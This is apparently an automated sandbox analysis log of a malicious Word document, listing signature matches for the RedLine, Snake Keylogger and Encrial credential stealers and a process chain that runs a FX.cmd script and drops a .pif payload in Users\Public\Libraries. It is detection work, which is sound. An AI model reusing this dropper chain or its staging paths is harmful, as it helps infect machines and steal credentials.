          Source: 00000010.00000002.3410753000.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 0000000C.00000001.2208904113.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: Process Memory Space: jphwmyiA.pif PID: 6396, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: Process Memory Space: jphwmyiA.pif PID: 2228, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: Process Memory Space: jphwmyiA.pif PID: 5476, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 12.2.jphwmyiA.pif.25f2a8c6.2.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
          Source: 12.2.jphwmyiA.pif.25f2a8c6.2.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
          Source: 12.3.jphwmyiA.pif.24507b80.0.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
          Source: 12.3.jphwmyiA.pif.24507b80.0.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
          Source: 12.2.jphwmyiA.pif.28fc0000.6.raw.unpack, -j.csCryptographic APIs: 'TransformFinalBlock'
          Source: 12.2.jphwmyiA.pif.28fc0000.6.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
          Source: 12.2.jphwmyiA.pif.28fc0000.6.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
          Source: 12.2.jphwmyiA.pif.28fc0000.6.raw.unpack, -.csCryptographic APIs: 'TransformFinalBlock'
          Source: 12.2.jphwmyiA.pif.28fc0000.6.raw.unpack, -.csCryptographic APIs: 'TransformFinalBlock'
          Source: 12.2.jphwmyiA.pif.28730ee8.4.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
          Source: 12.2.jphwmyiA.pif.28730ee8.4.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
          Source: classification engineClassification label: mal100.troj.spyw.expl.evad.winDOC@24/10@5/6
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_02837F52 GetDiskFreeSpaceA,8_2_02837F52
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,task_proc,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,12_2_004019F0
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_02846D48 CoCreateInstance,8_2_02846D48
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,task_proc,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,12_2_004019F0
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: C:\Users\user\Desktop\~$Q-0092025.docJump to behavior
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4500:120:WilError_03
          Source: C:\Users\Public\Libraries\jphwmyiA.pifMutant created: NULL
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7140:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5024:120:WilError_03
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Temp\{56B8ADF2-C709-4723-A43C-184BF45757B6} - OProcSessId.datJump to behavior
          Source: ENQ-0092025.docOLE indicator, Word Document stream: true
          Source: ENQ-0092025.docOLE document summary: title field not present or empty
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCommand line argument: 08A12_2_00413780
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCommand line argument: 08A16_2_00413780
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCommand line argument: 08A16_2_00413780
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCommand line argument: 08A16_1_00413780
          Source: C:\Windows\SysWOW64\brightness.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile read: C:\Users\desktop.iniJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
          Source: jphwmyiA.pif, 0000000C.00000003.2550294601.000000002730C000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000003.2622931732.000000001B58C000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2639787175.000000002B4FD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
          Source: ENQ-0092025.docReversingLabs: Detection: 57%
          Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess created: C:\Windows\SysWOW64\brightness.exe C:\Windows\SysWOW64\brightness.exe
          Source: C:\Windows\SysWOW64\brightness.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\SysWOW64\brightness.exeProcess created: C:\Users\Public\Libraries\jphwmyiA.pif C:\Users\Public\Libraries\jphwmyiA.pif
          Source: unknownProcess created: C:\Users\Public\Libraries\Aiymwhpj.PIF "C:\Users\Public\Libraries\Aiymwhpj.PIF"
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFProcess created: C:\Users\Public\Libraries\jphwmyiA.pif C:\Users\Public\Libraries\jphwmyiA.pif
          Source: unknownProcess created: C:\Users\Public\Libraries\Aiymwhpj.PIF "C:\Users\Public\Libraries\Aiymwhpj.PIF"
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFProcess created: C:\Users\Public\Libraries\jphwmyiA.pif C:\Users\Public\Libraries\jphwmyiA.pif
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess created: unknown unknownJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess created: C:\Windows\SysWOW64\brightness.exe C:\Windows\SysWOW64\brightness.exeJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmdJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeProcess created: C:\Users\Public\Libraries\jphwmyiA.pif C:\Users\Public\Libraries\jphwmyiA.pifJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmdJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFProcess created: C:\Users\Public\Libraries\jphwmyiA.pif C:\Users\Public\Libraries\jphwmyiA.pifJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFProcess created: C:\Users\Public\Libraries\jphwmyiA.pif C:\Users\Public\Libraries\jphwmyiA.pif
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: apphelp.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: version.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: url.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ieframe.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: iertutil.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: netapi32.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: winhttp.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: wkscli.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: netutils.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: amsi.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: smartscreenps.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: winmm.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: wininet.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ieproxy.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: mswsock.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: iphlpapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ieproxy.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: winnsi.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ieproxy.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: mssip32.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: mssip32.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: mssip32.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: dnsapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: fwpuclnt.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: rasadhlp.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: winhttpcom.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: webio.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ??????????.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ??.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppc.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ???.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ???.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ???.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ??l.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ??l.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ?.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ?.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ??l.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ????.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ???e???????????.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ???e???????????.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ?.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ?.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ?.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ?.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ??l.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ??l.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppc.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppc.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppc.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppc.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: tquery.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: cryptdll.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: spp.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: vssapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: vsstrace.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: spp.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: vssapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: vsstrace.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: mssip32.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: endpointdlp.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: endpointdlp.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: endpointdlp.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: endpointdlp.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: advapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: advapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: advapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: advapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: advapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: advapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: advapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: spp.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: vssapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: vsstrace.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppwmi.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: slc.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppc.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppcext.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppc.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: winscard.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: devobj.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppc.dllJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppc.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: apphelp.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: uxtheme.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: mscoree.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: vcruntime140_clr0400.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: wldp.dllJump to behavior
